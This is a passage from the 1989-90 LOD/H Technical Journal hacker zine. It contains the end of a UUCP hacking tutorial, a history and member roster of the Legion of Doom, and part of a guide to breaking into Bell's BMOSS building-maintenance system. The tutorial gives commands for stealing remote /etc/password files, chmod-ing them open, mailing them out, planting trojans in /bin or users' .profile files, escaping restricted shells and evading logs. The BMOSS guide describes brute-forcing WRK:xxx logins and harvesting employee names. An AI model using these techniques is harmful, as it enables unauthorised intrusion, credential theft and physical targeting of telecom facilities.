|
||
uupick program.
|
||
uusend- Lets you forward files through a string of systems.
|
||
..................................................................
|
||
|
||
III. Using the Programs
|
||
DDDDDDDDDDDDDDDDDD
|
||
|
||
A. uuname
|
||
|
||
This one is easy & friendly. All you do is type '$uuname'.
|
||
It will spit out a list of all systems on your network. If you
|
||
aren't sure about the name of your local system, invoke uuname with
|
||
the -l option. ($uuname -l).
|
||
|
||
B. mail
|
||
|
||
I'm not going to say to much about mail, as it isn't a program
|
||
that you will use much as a hacker except possibly to break out of
|
||
a shell. Sending mail to other people is not a good way to stay
|
||
hidden, as all mail transfer to remote systems is logged (no, they
|
||
may not read the mail, but they're likely to notice that the
|
||
unassigned ADMIN account is suddenly getting mail from all over the
|
||
world...) These logs can be modified, however. This will
|
||
be covered in Part II.
|
||
|
||
Briefly, mail is invoked with the command 'mail username' (or
|
||
mailx under some systems). If you wish to send mail to user john
|
||
on the system you're on, you would type:
|
||
|
||
mail john
|
||
Dear John-
|
||
This is mail. Enjoy it.
|
||
^D (usage note, this means control-D)
|
||
|
||
To send mail to a user on a remote system, or a string of
|
||
systems, you would use the ! key to indicate a remote system name.
|
||
If you were on node Alpha and wanted to send mail to john on node
|
||
Beta, you would address your mail to 'mail Beta!john'. If you
|
||
wanted to send mail to a user on system that's not connected to
|
||
yours, but *is* connected to a machine you are connected to, you
|
||
would string together the system names, separated by a !. For
|
||
example, if node Saturn was connected to Beta, but not to Alpha,
|
||
you could send mail to susan on Saturn with 'mail Beta!Saturn!susan'.
|
||
|
||
Please note- If you are running the C-Shell or Bourne Shell,
|
||
you will have to prefix the ! with a X. i.e. 'mail BetaX!SaturnX!susan'.
|
||
Also, the mail header displays the system name, return path, and account
|
||
name that you send mail from, so don't try to anonymously mail someone
|
||
a message- it won't work.
|
||
|
||
Another quick feature (this is under the 'basic unix
|
||
knowledge' category), if you want to mail a file named 'message'
|
||
to someone, you'd type the following - '$mail Beta!Saturn!susan <
|
||
message'.
|
||
|
||
Finally, as mentioned above, it may be possible to break out
|
||
of a restricted shell within mail. Simply send mail to yourself,
|
||
then when you enter mail to read the message, type !sh to exit from
|
||
mail into shell. This will often blow off the restricted shell.
|
||
|
||
|
||
C. File Transfer
|
||
|
||
One of the first things that you will want to do when you
|
||
discover that you're on a network (uuname, remember?) is to grab
|
||
a copy of the /etc/password file from the systems on the net then
|
||
run Shooting Shark's password hacking program from TJ Issue #2.
|
||
Even if you have no use for it now, save it & label it, you never
|
||
know when you might need to get into that system. Besides, when
|
||
printed, they make fun & interesting wallpaper.
|
||
|
||
Unfortunately, the /etc/ directory will sometimes have access
|
||
restricted. You can get around this by copying the /etc/password
|
||
file to the /usr/spool/uucppublic directory using the uux command
|
||
(see below). If the uux program has restrictions on in, then you
|
||
may have to actually hack into the remote system using the rlogin
|
||
command. Be persistent.
|
||
|
||
UUCP is also useful in that it allows you to send a file from
|
||
your system to a remote system. Got a nice little trojan you need
|
||
to insert on their system? Use UUCP to drop it into the /bin/
|
||
directory. Or if they protected the /bin/ directory (likely, if
|
||
they have half a brain), they might have forgotten to protect all
|
||
of the users private directories (i.e. /usr/mike or /usr/susan or
|
||
sometimes even /usr/admin). UUCP a copy of a .profile file to your
|
||
system, insert your own stuff in it, then UUCP it back to its
|
||
original directory where the user will access it the next time he
|
||
logs in. People rarely $cat their .profile file, so you can
|
||
usually get away with murder in them.
|
||
|
||
While uucp has some limitations, it has the advantage of being
|
||
present on every UUCP system in the world. If you're on a System
|
||
V, you will probably use uuto & uupick much more frequently, as
|
||
it's easier to do subtle hacks with them. But if uucp is all you
|
||
have, remember, you're a hacker. Show some ingenuity. The syntax
|
||
of uucp when sending a file is:
|
||
|
||
$uucp [options] <local source> <remote destination>
|
||
|
||
For example, you have a program sitting in your working
|
||
directory on node Alpha called 'stuff', and you want to plop it
|
||
into the /usr/spool/uucppublic/mike/ directory of node Beta. The
|
||
command would be '$uucp stuff Beta!/usr/spool/uucppublic/mike/'.
|
||
(Don't forget to add a slash in front of the exclamation point if
|
||
you're in C-Shell or Bourne!) A good thing to know that will save
|
||
you some typing is that the /usr/spool/uucppublic/ directory can
|
||
be abbreviated as D/ (in KSH only), so that the above command could look
|
||
like '$uucp stuff Beta!D/mike/'. You can also specify a path other than
|
||
D/. If you wish to drop your 'new & improved' version of the
|
||
/etc/password file into the /etc/ directory, you could do a '$uucp
|
||
password Beta!/etc/'. Just don't be surprised if it gets bounced
|
||
with a message similar to the following:
|
||
|
||
From uucp Sat Dec 24 23:13:15 1988
|
||
Received: by Beta.UUCP (2.15/3.3)
|
||
id AA25032; Sat Dec 24 23:13:15 edt
|
||
Date: Sat Dec 24 23:13:15 edt
|
||
From: uucp
|
||
Apparently to: hacker
|
||
Status: R
|
||
|
||
file /etc/password, system Beta
|
||
remote access to path/file denied
|
||
|
||
Another hacker-friendly feature of UUCP is the ability to copy
|
||
something into a remote user's login directory by entering a D
|
||
character before the username. For example, to dump a modified
|
||
.profile file into a user on Beta named alex, you would do the
|
||
following:
|
||
|
||
|
||
'$uucp .profile Beta!Dalex'
|
||
|
||
The syntax for uucp when receiving a remote file is:
|
||
|
||
$uucp [options] <remote path> <local directory>
|
||
|
||
For example, you wish to grab Beta's password file and put it in
|
||
a subdirectory called tmp in the account 'hacker' on node Alpha.
|
||
The command would be:
|
||
|
||
'$uucp Beta!/etc/password Alpha!/usr/hacker/tmp/'.
|
||
|
||
The same things concerning use of tildes (D) demonstrated in
|
||
sending files applies when receiving them. The following table
|
||
contains valid options to the uucp command.
|
||
|
||
|
||
Table 2
|
||
DDDDDDD
|
||
_________________________________________________
|
||
| |
|
||
| -C Copy the local source file to the spool |
|
||
| directory before attempting the trans- |
|
||
| fer. |
|
||
| |
|
||
| -f If the directory doesn't exist, abort the |
|
||
| transfer. Normally uucp will create any |
|
||
| non-existent directories, which is bad |
|
||
| technique if you're a good hacker... |
|
||
| |
|
||
| -j Display the UUCP job request number. This |
|
||
| is useful if you're going to use uustat |
|
||
| to manipulate & reroute UUCP requests in |
|
||
| the queue. |
|
||
| |
|
||
| -m Notify sender by mail when copy is done. |
|
||
| Potentially hazardous, as incoming mail |
|
||
| is logged. Later on I'll show how to |
|
||
| modify that log... |
|
||
| |
|
||
| -n<username> Notify the user specified on |
|
||
| the remote system when the xfer is done. |
|
||
| I assume everyone sees how foolish this |
|
||
| would be, right? |
|
||
| |
|
||
| -r Queue the job, but do not contact remote |
|
||
| system immediately. Can't see any pros |
|
||
| or cons in using this one... |
|
||
| |
|
||
| -s<filename> Pipe the UUCP status messages |
|
||
| to filename. Useful if you wish to log |
|
||
| off & then check the progress later. |
|
||
| |
|
||
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
|
||
|
||
D. Executing Remote Commands
|
||
|
||
The uux program allows users to execute a program on another
|
||
system on the network. While in theory this is the most useful
|
||
command a hacker can use, in practice it is usually heavily
|
||
restricted- any system administrator with half a brain realizes
|
||
that letting people execute any command they like from across the
|
||
country is not the way to maintain system integrity.
|
||
|
||
There are, however, some useful things that can be done with
|
||
uux even if the sysadmin has protected the things that *he* thinks
|
||
are dangerous (remember, he's not a hacker, you are. You are
|
||
smarter, more persistent, and much cleverer than he is. He doesn't
|
||
like coming to work every day, can't wait to leave, and will do the
|
||
minimum possible to get by. You're different. You're dedicated &
|
||
tricky. You *like* what you're doing. If you don't, get the hell
|
||
out & let others who do take over. End of the pep talk.)
|
||
|
||
The format for the uux command is:
|
||
|
||
$uux [options] command-string.
|
||
|
||
See Table 3 below for a list of options.
|
||
|
||
Ok, ideal case. The System manager of Beta is an idiot who
|
||
has left all possible commands open, and the uucico daemon has root
|
||
privs. Let's say you want to alter the protection of the password
|
||
file, copy it into the D/ (public, remember?) directory, then copy
|
||
it over to your system. The sequence of commands would be:
|
||
|
||
$uux Beta!chmod 777 /etc/password
|
||
$uux Beta!cp /etc/password /usr/spool/uucppublic/info.txt
|
||
$uucp Beta!D/info.txt /usr/hacker/
|
||
|
||
The first line would modify the protection where anyone could
|
||
get to it, the second line would copy it into the D/ directory, and
|
||
the third line would send it along to you.
|
||
|
||
Unfortunately, most commands are disabled (useful ones like
|
||
chmod and cat and ls, at least.) But sometimes you can get around
|
||
that. For instance, often you might not be able to ls or cp the
|
||
password file. But very rarely will mail be disabled. So if you
|
||
wanted a copy of the password file, you have them mail you one:
|
||
|
||
$uux Beta!mail Alpha!hacker < /etc/password
|
||
|
||
Later in the UUCP Administration section, I'll explain how to
|
||
modify the remote system so any command you want is executable.
|
||
|
||
When you execute a remote command, UUCP will automatically
|
||
send you mail telling you how it went. It's a good idea to check
|
||
the logs and see if there's anything you need to remove to cover
|
||
your presence (this subject will be covered in Part II).
|
||
|
||
If you are executing a command that is going to need data from
|
||
a file, you specify that the file is on your local system by
|
||
prefacing it with a X!. I can't think of many reasons to use this,
|
||
but perhaps you can. As an example, let's say you wanted to print
|
||
a file in your directory called 'stuff' out on a remote laser
|
||
printer (bad hacking practice, and difficult to retrieve.) Do this:
|
||
|
||
$uux Beta!lp -dlaser X!stuff
|
||
|
||
If the command you want to execute (whodo in this example) is
|
||
forbidden, you will get a notification message similar to the
|
||
following:
|
||
|
||
>From uucp Sat Dec 24 23:12:15 EDT 1988
|
||
>From uucp Sat Dec 24 23:12:13 EDT 1988 remote from Beta
|
||
Status: R0
|
||
uuxqt cmd (whodo) status (DENIED)
|
||
|
||
If you are going to need the standard output for a command,
|
||
pipe it into D/. And any files or processes created by uux will
|
||
belong to the user uucp, not to you.
|
||
|
||
Table 3
|
||
DDDDDDD
|
||
__________________________________________________________
|
||
| |
|
||
| -a<username> Notify user username when completed. |
|
||
| |
|
||
| -b Print the Standard Input when the exit status |
|
||
| indicates an error. |
|
||
| |
|
||
| -c Do not copy files to the spool directory (I |
|
||
| recommend this one...too big a chance of someone |
|
||
| glancing in the spool dir. |
|
||
| |
|
||
| -g<char or num> Sets the priority of the transfer. |
|
||
| The lower alphabetically or numerically that |
|
||
| the char or num is, the faster the process will |
|
||
| be executed. i.e. -ga or -g2 will go faster |
|
||
| than -gr or -g8. |
|
||
| |
|
||
| -j Print the UUCP job number. Useful if you're |
|
||
| going to be playing with the queue. |
|
||
| |
|
||
| -I (BSD Only) Make a link from the original file to |
|
||
| the spool dir. I'm not sure what this is for. |
|
||
| |
|
||
| -L (BSD Only) Start up the uucico daemon. |
|
||
| |
|
||
| -n Don't notify by mail. Recommended if you don't |
|
||
| have the authority or knowledge to modify the |
|
||
| system mail logs. |
|
||
| |
|
||
| -p Use Standard Input |
|
||
| |
|
||
| -r Queue the job but don't start uucico. |
|
||
| |
|
||
| -s<filename> Send transfer status to file filename. |
|
||
| |
|
||
| -x<0..9> Set level of debugging information. |
|
||
| |
|
||
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
|
||
|
||
E. uustat & uulog
|
||
|
||
These two programs are used to track UUCP jobs and examine
|
||
their status.
|
||
|
||
uustat prints out a one-line summary for each job, telling you
|
||
if the job is finished or the job is queued. Older versions of
|
||
uustat will have the job state as either JOB DELETED or JOB IS
|
||
QUEUED. The output of uustat will look like the following:
|
||
|
||
$uustat
|
||
|
||
1001 hacker Alpha 10/31-09:45 10/31-10:15 JOB IS QUEUED
|
||
1002 hacker Alpha 10/30-08:15 10/30-11:25 COPY FINISHED
|
||
| | | | | |
|
||
| | | | | |
|
||
job # user node start-time status-time job-status
|
||
|
||
See Table 4 for a list of options for the uustat command.
|
||
|
||
uulog is a more thorough version of uustat, as it tracks the
|
||
status messages logged by the system as your job proceeded through
|
||
the system. See Table 5 for options of the uulog command.
|
||
|
||
Table 4*
|
||
DDDDDDD
|
||
_________________________________________________
|
||
| |
|
||
| -a report all queued jobs. |
|
||
| |
|
||
| -k<job#> kill job # job#. |
|
||
| |
|
||
| -m report if another system is accessible. |
|
||
| |
|
||
| -q report the number of jobs queued for |
|
||
| all systems on the net. |
|
||
| |
|
||
| -s<system> report the status of jobs for |
|
||
| the system named systemname. |
|
||
| |
|
||
| -u<username> report the status of jobs for |
|
||
| user username. |
|
||
| |
|
||
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
|
||
* There are several other options such as -o and
|
||
-y that are system specific, and aren't really
|
||
that useful to begin with.
|
||
|
||
|
||
Table 5
|
||
DDDDDDD
|
||
______________________________
|
||
| |
|
||
| -s<system> same as uustat |
|
||
| |
|
||
| -u<userid> same as uustat |
|
||
| |
|
||
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
|
||
|
||
******************************************************************
|
||
|
||
This marks the end of Part I. If time permits a Part II will be in
|
||
the next LOD/H Technical Journal.
|
||
|
||
(c) 1989 The Mentor
|
||
Legion of Doom/Legion of Hackers
|
||
|
||
******************************************************************
|
||
|
||
|
||
The LOD/H Technical Journal, Issue #4: File 06 of 10.
|
||
|
||
|
||
The History of LOD/H
|
||
Revision #3 May 1990
|
||
written by Lex Luthor
|
||
|
||
|
||
NOTES: I approximated all dates, as my records are not totally complete.
|
||
If I left anyone out or put someone in that shouldn't be in, sorry I
|
||
tried and did spend considerable time researching the dates and
|
||
BBS files, the old LOD BBS software, etc. Revisions one and two were
|
||
released to LOD/H members only. Some information may only be relevant
|
||
to those who were around at the time.
|
||
|
||
|
||
The primary purpose of this article is simply to present an accurate
|
||
picture of events and people who have been associated with this group. The
|
||
reputation of many groups and many people have been tainted by slanderous
|
||
remarks made by uninformed law enforcement and justice department personnel,
|
||
the media, and other hackers. I find this sad, but it's a fact of life that
|
||
must be endured. All that can be done in this article is to attempt to present
|
||
the facts as I see them. Due to the wild and unfounded accusations by said
|
||
persons, today LOD is viewed more as malicious criminals than as for what it
|
||
was viewed as in the past. That is, of a group of people who put themselves at
|
||
risk to help inform others. Of course this is a prettier picture than most
|
||
want to believe, and is slightly prettier than what it is in actuality, but
|
||
the ideal is there. Whenever a group of individuals get together, you cannot
|
||
forget that they are individuals. These individuals can and do make mistakes
|
||
in judgement in some cases. But also, they have been and continue to be
|
||
victimized by law enforcement and said others. Over the years I have collected
|
||
tens of newspaper and magazine articles about "The LOD", myself, and others
|
||
with not a one being perfectly accurate. You have heard it before: don't
|
||
believe everything you read. That goes for this article also, although I have
|
||
made an honest attempt at ensuring that it is truthful and accurate, as Ripley
|
||
said: believe it, or not.
|
||
|
||
I have been "retired" for quite some time now. My definition of retired is
|
||
simply that of keeping my activities to those of a strictly legitimate nature.
|
||
It is quite funny yet pitiful to here people say, "once a crook always a
|
||
crook" AND BELIEVE IT! That statement is a fallacy. Nearly everyone has done
|
||
something wrong when they were young yet many grow up to become the so called
|
||
normal, law abiding citizens that society says we should be. At this point in
|
||
time and in the foreseeable future, the risks of exploring and learning about
|
||
telephone and computer networks in a less than legitimate fashion outweigh the
|
||
benefits. I think many of the older hackers have adopted this philosophy out
|
||
of necessity. This decision is even easier after reflecting on the events of
|
||
which I have seen during the course of my "career". Those events are primarily
|
||
those of seeing people's rights being violated by law enforcement. Their
|
||
privacy being forsaken by the media. I do not dispute however, that some
|
||
hackers have done these same things to other hackers and other people. Neither
|
||
side is right or fair so I suppose it is time to exit since it's getting too
|
||
hot in the kitchen. I will remain however, in an advisory capacity to the
|
||
Technical Journal and group for as long as they continue exist. If you are to
|
||
believe the rumors, LOD has been dead many times, again untrue. The main
|
||
drawback of becoming a BBS hermit is how the rumors start to accrue as time
|
||
progresses. I have been "busted" perhaps a hundred times if you believe every
|
||
rumor. The fact is that I have never been visited let alone busted. I have
|
||
seen many people get into trouble due to their own carelessness. Those who
|
||
have remained unmolested by the authorities are either very careful and
|
||
paranoid, or are helping them catch others. I have been extremely careful and
|
||
exceedingly paranoid, period.
|
||
|
||
Now that I have harassed the reader with my comments regarding the whole
|
||
hacking/phreaking experience, I present the story. Please note that I realize
|
||
many people could care less about all this, and if you are in that category
|
||
you can always throw this into the shredder, now. But, there is a sufficient
|
||
number of people who actually are curious to get the real story on this stuff
|
||
so here it is, presented to correct the many inaccuracies which have surfaced
|
||
over the years and also for the sake of posterity.
|
||
|
||
_____________________________________________________________________________
|
||
|
||
During the winter break from school in late 1983, I took a trip up to Long
|
||
Island, NY to visit Quasi Moto. I had met him in south Florida, and he had
|
||
since moved. He decided to put up a BBS, and while visiting him, we worked on
|
||
it. For those who do not remember, its name was PLOVERNET. PLOVERNET was
|
||
considered a resurrected OSUNY by some since some users migrated to PLOVERNET
|
||
after OSUNY went down, at least in part, by an article in Newsweek mentioning
|
||
it. A new hacker magazine, 2600, started posting advertisements on various
|
||
boards. I had been in contact with Emmanuel Goldstein, the editor of 2600, on
|
||
Pirates Cove, another 516 BBS. I gave him the number to PLOVERNET and due to
|
||
the large amount of users, (500, of which 70% were relatively active) 2600 had
|
||
plenty of response. PLOVERNET went online in January of 1984 and shortly
|
||
thereafter it was the busiest BBS around. It was so busy in fact, that a long
|
||
distance service called LDX had stopped connecting people who dialed
|
||
516-935-2481 which was PLOVERNET's number. Now remember, this is early 1984
|
||
here. The practice of blocking calls to a certain number wasn't really done
|
||
by common carriers until 1986/87 with the emergence of new security software
|
||
and audit trail information. I picked the best phreaks and hackers from
|
||
PLOVERNET and invited them onto the newly created LOD BBS. LOD was one of the
|
||
first boards which upon connection did nothing until you entered the primary
|
||
password, and there was no new user routine as the board was invitation only.
|
||
Again, this was back in early 1984. It was a fairly original albeit paranoid
|
||
practice at the time, and many boards subsequently adopted the technique as
|
||
security became an increasing concern.
|
||
|
||
Various groups had started forming such as Fargo 4A and Knights of Shadow.
|
||
I was admitted into Knights of Shadow in early 84. After suggesting some
|
||
promising new phreaks/hacks for membership and being turned down because they
|
||
were not well known enough, (ie: they weren't big names even though they knew
|
||
more than the guys who supposedly were) I put up the Legion Of Doom! bulletin
|
||
board and shortly thereafter started a phreak/hack group of the same name.
|
||
This was about May of 84 from what my records show. I had been a member of
|
||
KOS and LOD or a brief time and then KOS broke up. Although there were many
|
||
users on the LOD bbs, VERY FEW WERE MEMBERS OF THE GROUP! This distinction
|
||
seems to have been forgotten by many, since some who were on the BBS have
|
||
claimed to have been in the group, which is not true.
|
||
|
||
The name Legion Of Doom! obviously came from the cartoon series which
|
||
pitted them against The Superfriends. I suppose other group names have
|
||
come from stranger sources. My handle, Lex Luthor was taken from the
|
||
movie Superman I. In the cartoon series, LOD is led by Lex Luthor and
|
||
thus, the group name was rather fitting. Being young and naive, I thought
|
||
having a handle of someone who claimed to have 'the greatest criminal mind on
|
||
Earth' and leading a group of the world's most notorious criminals would be
|
||
cool. That was about 7-8 years ago. Now however, I see that there is nothing
|
||
cool or attractive about being a criminal (believe it, or not).
|
||
|
||
The original group consisted of phreaks who I had thought were very good
|
||
but were not considered 'famous' like those in KOS. Those original members
|
||
later became some of the best known phreak personalities and contributed
|
||
substantially to the knowledge of new and old phreaks alike. A list of members
|
||
from the very beginning to the present follows. Through my records and from
|
||
the best of my recollection I have approximated dates of entrance and exit and
|
||
other information. Also, I believe I have a complete list however, there
|
||
could be a mistake or two. Very few if any, handles from the past have been
|
||
duplicated by 'impostors' whether knowingly or unknowingly.
|
||
|
||
I look at this article as a historical document seeing how no other group
|
||
has survived as long as LOD has. LOD originally consisted mainly of phreaks,
|
||
but had split into two separate entities. LOD for telecommunications
|
||
hobbyists, and LOH for hacking and security enthusiasts.
|
||
|
||
Handle Entered Exit Location Reason for leaving
|
||
-----------------------------------------------------------------------------
|
||
Lex Luthor early 84 CURRENT Here/There ---CURRENT MEMBER---
|
||
Karl Marx early 84 late 85 Colorado Went underground/quit.
|
||
Mark Tabas early 84 late 85 Colorado Many reasons.
|
||
Agrajag The Prolonged early 84 late 85 California Loss of interest.
|
||
King Blotto early 84 late 85 Ohio No time/college.
|
||
Blue Archer early 84 Fall 87 Texas College.
|
||
The Dragyn early 84 late 86 Minnesota No time/lost interest.
|
||
|
||
Unknown Soldier mid 84 early 85 Florida Busted- Toll fraud.
|
||
Sharp Razor late 84 early 86 New Jersey Busted- Abusing CIS.
|
||
Doctor Who late 84 early 86 Mass. Misc. Trouble
|
||
Lord Havok late 84 CURRENT Here/There ---CURRENT MEMBER---
|
||
Sir Francis Drake late 84 early 86 California ???
|
||
Paul Muad'dib late 84 early 86 New York Went underground/quit.
|
||
Phucked Agent 04 late 84 late 87 California No time. School.
|
||
X-man late 84 mid 85 New York Busted- Blue boxing.
|
||
Randy Smith late 84 mid 85 Texas ???
|
||
|
||
Steve Dahl early 85 early 86 Illinois Busted-Carding.
|
||
The Warlock early 85 early 86 Florida Lost interest.
|
||
Terminal Man early 85 late 85 Mass. Kicked out-malicious hacking
|
||
|
||
Silver Spy late 86 Fall 87 Mass. College.
|
||
The Videosmith early 86 Fall 87 Penn. Lost interest.
|
||
Kerrang Khan early 86 Fall 87 U.K. ???
|
||
The Marauder early 86 mid 88 Conn. Lost interest.
|
||
Gary Seven early 86 mid 88 Florida Lost interest.
|
||
Bill From RNOC early 87 late 87 New York Misc. Trouble.
|
||
|
||
Carrier Culprit mid 87 mid 88 Penn. Lost interest.
|
||
Master of Impact mid 87 mid 88 California School.
|
||
The Leftist mid 87 Sum 89 Georgia Misc. Trouble.
|
||
Phantom Phreaker mid 87 Fall 89 Here/There Lost interest.
|
||
Doom Prophet mid 87 Fall 89 Here/There Lost interest.
|
||
|
||
Thomas Covenant early 88 early 89 New York Misc. Trouble.
|
||
The Mentor mid 88 Sum 89 Here/There Lost interest.
|
||
The Urvile mid 88 Sum 89 Georgia Misc. Trouble.
|
||
Phase Jitter mid 88 CURRENT Here/There ---CURRENT MEMBER---
|
||
Prime Suspect mid 88 CURRENT Here/There ---CURRENT MEMBER---
|
||
The Prophet late 88 Sum 89 Georgia Misc. Trouble.
|
||
Skinny Puppy late 88 CURRENT Here/There ---CURRENT MEMBER----
|
||
Professor Falken late 89 CURRENT Here/There ---CURRENT MEMBER---
|
||
|
||
|
||
Directory key:
|
||
"Lost Interest": simply means they lost interest in phreaking/hacking in
|
||
general, not lost interest in LOD/H.
|
||
"???": reason for leaving is unknown.
|
||
Misc. Trouble: Exactly that. Too much to go into here.
|
||
Of all 38 members, only one was forcefully ejected. It was found out that
|
||
Terminal Man destroyed data that was not related to covering his tracks. This
|
||
has always been unacceptable to us, regardless of what the media and law
|
||
enforcement tries to get you to think.
|
||
Remember, people's entrance/exit times have been estimated.
|
||
|
||
|
||
[ End of Article ]
|
||
The LOD/H Technical Journal, Issue #4: File 07 of 10
|
||
|
||
The Trasher's Handbook to B.M.O.S.S.
|
||
by
|
||
Spherical Aberration
|
||
|
||
INTRODUCTION:
|
||
|
||
Those who have actually trashed at Bell Co. before know that finding an
|
||
installation can be a pain. Most Telco buildings these days are un-marked,
|
||
plain, and generally overlooked by the average person. The buildings
|
||
were specifically made so that they WOULD be overlooked, concealing
|
||
itself and its contents. Knowing where all Bell Co. installations are
|
||
would be nice, and through the help of BMOSS we can find out where they
|
||
ALL are.
|
||
|
||
NOTE: It is possible to get locations from your city hall, just take a
|
||
look at what property Bell Co. owns and locate it. However, there are few
|
||
catches to this method. First, most cities charge you to find out who
|
||
owns what property and there might be a waiting period of a few days.
|
||
Second, not all Bell Co. property is owned by Bell Co. There are
|
||
instances of Bell Co. renting a piece of property from a company and
|
||
using the existing building, possibly with the leasing companies logo
|
||
still on it.
|
||
|
||
BMOSS stands for Building Maintenance Operations Service System.
|
||
BMOSS provides computer support for daily building maintenance tasks.
|
||
A comprehensive database helps users keep track of repair activities.
|
||
Telco field mechanics logon everyday to do assorted field mechanic
|
||
stuff. From BMOSS they can check on tasks needed to be done, send
|
||
messages to users, charge various Telco installations for work, log time
|
||
sheets, generate purchase orders, see where his buddies are eating lunch etc.
|
||
|
||
BMOSSes are usually located in a BOCC (Building Operations Control
|
||
Center) or in a REOC (Real Estate Operations Center). BMOSS is run
|
||
under AT&T Unix System V and at some points is quite Unix-like. At each
|
||
center is one PDP-11/44 or a PDP-11/84 mainframe that is the base of
|
||
operations for that center and other installations supported by that
|
||
BOCC/REOC.
|
||
|
||
LOGGING ONTO BMOSS:
|
||
|
||
Before logging on to BMOSS you must select the proper type of
|
||
terminal emulation. BMOSS has 4 types of emulations available for all
|
||
users. Users within the BOCC/REOC use either VT100 or VT220 compatible
|
||
terminals, while other internal stations will use an LA120 printer
|
||
terminal. Field Mechanics at a remote location use their typewriter
|
||
like LA12 printer terminals.
|
||
|
||
Identifying a BMOSS dialup is not that hard at all. After hitting a
|
||
three [CR]'s the system will respond with something like this:
|
||
|
||
(BEEP!)
|
||
|
||
Good Morning (Depending on what time of day it is)
|
||
|
||
BASE/OE - Fri 04/23/90 09:43:22 - Online 9
|
||
|
||
User ID?
|
||
Password?
|
||
|
||
Typically user IDs are the three initials of the field mechanics name.
|
||
After inputting your ID you will be prompted with a Password? request.
|
||
Passwords can be from 6 to 8 characters in length, including punctuation
|
||
marks, the first letter must begin with an alphabet-letter or a number.
|
||
They cannot contain spaces or the users first/middle/last name.
|
||
Periodically the system will prompt the user for a new password. This
|
||
period of time is usually set by the system administrator.
|
||
|
||
I have found that the "WRK:A10" user ID or a variation of WRK:xxx
|
||
where xxx is a alpha-numerical combination has worked excellent for me.
|
||
I believe the WRK:xxx is some type of low-level account when field
|
||
mechanics lose their current ID/PW combination. Initials also have been
|
||
found on most of the systems, so a WRK:xxx and Initials brute-force attempt
|
||
just may give you a working ID.
|
||
|
||
|
||
IN BMOSS:
|
||
|
||
Once penetrating initial security you are then prompted with BMOSS's
|
||
FLD> main level identifier. This FLD> changes as you move from BMOSS's
|
||
root to the various main BMOSS branches.
|
||
|
||
Sometimes when you logon to BMOSS you will receive a memo saying,
|
||
"NOTE - Check your office" at this time go to the Office and read the memos
|
||
sent to you. Read THE OFFICE later in this article to learn how.
|
||
|
||
BMOSS was designed with the average Joe in mind and is very logically
|
||
laid out. BMOSS was modeled after UNIX's Tree-oriented structure.
|
||
Here is a Tree of BMOSS's structure:
|
||
|
||
BMOSS
|
||
_____________|_____________
|
||
| | | | | |
|
||
CON DAT ACT FOR BIL OFF
|
||
|
||
Main Branches:
|
||
CON- Control Functions (Sys Admin payroll/timesheet functions)
|
||
DAT- Database Maintenance (What we are mainly concerned with)
|
||
ACT- Field Activity (Handles field activities)
|
||
FOR- Force Administration (Recording labor hrs for time sheets etc.)
|
||
BIL- Bill Paying (Processing purchase orders, producing expense accts.)
|
||
OFF- Electronic Office (Receive/Send Messages or Page users)
|
||
|
||
Each main branch then branches off into its own specific
|
||
commands. I will concentrate on the Database Maintenance functions since
|
||
the other functions have little or no use to us.
|
||
|
||
DATABASE MAINTENANCE:
|
||
|
||
To haul in the mother lode you go into the Database Maintenance area
|
||
from the root. This is accomplished by typing DAT in at the FLD>
|
||
prompt. Now you should get a DAT> prompt meaning you are now in the
|
||
Database Maintenance section. To get a listing of the available DAT
|
||
commands type in 'SHO' which is short for SHOW. We are mainly concerned
|
||
with the BLD (Building Master) function. Once the BLD function is
|
||
selected you will be prompted for a sub-form. There are 7 sub-forms for
|
||
the BLD function.
|
||
|
||
BLD Sub-Forms:
|
||
1. GEN- General Background
|
||
2. OWN- Building Ownership (used for adding a new building to database)
|
||
3. LES- Lease Terms (used for adding a new building to database)
|
||
4. EMG- Emergency Data (contains Police and Fire Dept. that serve this
|
||
location and their respective telephone numbers, and whether the
|
||
location has backup power and fire-sprinklers etc.)
|
||
5. RES- Maintenance Responsibility (Maintenance entries for building)
|
||
6. WRD- Building Warden (Building Wardens number etc.)
|
||
7. NOT- General Notes (Notes about the particular building)
|
||
8. ACC- Accounting Distribution (Account for particular building)
|
||
|
||
Accessing the above information is as easy as selection of the three
|
||
letter identifier at the Sub-Form prompt. We are particularly concerned
|
||
with the GEN (General Background) information. This function gives us the
|
||
following data:
|
||
|
||
1. Building's Number
|
||
2. Building's Complete Address
|
||
3. Building's Name
|
||
4. Building's Sector (Bell informational purposes only)
|
||
5. Building's Zone (Bell informational purposes only)
|
||
6. Whether or not Bell owns the building. (A Y/N combination is usually
|
||
shown here. Y meaning its is owned by Bellco, N meaning its not
|
||
owned by Bellco.)
|
||
7. The building's group (One letter identifier)
|
||
8. The building's use. (Garage/Warehouse/Office etc.)
|
||
9. The kind of telephone equipment used in the building. (ESS1A etc.)
|
||
10. Whether or not Bell is Sub-leasing parts of the building. (Y/N identifier)
|
||
11. The number of floors in the building
|
||
12. The number of basements in the building (A number of 3 here would
|
||
mean the building has 3 below ground level floors.
|
||
13. Whether or not the building has a cable vault. (Y/N identifier)
|
||
14. Gross Square footage of the building
|
||
15. The number of reserved parking spaces for the building.
|
||
|
||
Once entering the DAT section and entering GEN as your sub-form
|
||
selection you will be prompted for a building number. Random selection
|
||
of building numbers is necessary because they vary from area to area.
|
||
Once a legitimate building number is accessed the above information will
|
||
be displayed.
|
||
|
||
Ok, you now have the information you need, how do you get back to a
|
||
previous directory or even log off ? That's quite easy. Typing in EXI
|
||
(short for EXIT) will bring you back up to the root FLD> one directory at
|
||
a time. For logging off the system you should hit EXI until you reach the
|
||
FLD> root then BYE and you will get:
|
||
|
||
BASE/OE - Fri 4/23/90 10:22:13 - Offline 9
|
||
|
||
Have a Good Morning
|
||
|
||
OTHER FUNCTIONS:
|
||
|
||
I have found the REPORTS function most helpful in finding other
|
||
user IDs. To get a listing of the 20+ different types reports type
|
||
'HELP REPORT' at the FLD> prompt. We are particularly concerned with
|
||
REPORT 41, the Estimated vs. Actual Hours Log. We bring this up by
|
||
typing from the FLD:
|
||
|
||
FLD> REPORT 41 04/02/90-04/06/90 <cr>
|
||
|
||
You are inquiring for the estimated vs. actual hours time on a series
|
||
of jobs from April 4th 1990 through April 6th 1990. The output then
|
||
kicks out the hours and such. Every field mechanic that worked throughout
|
||
those days will be displayed in- First name, Middle Initial, and Last Name
|
||
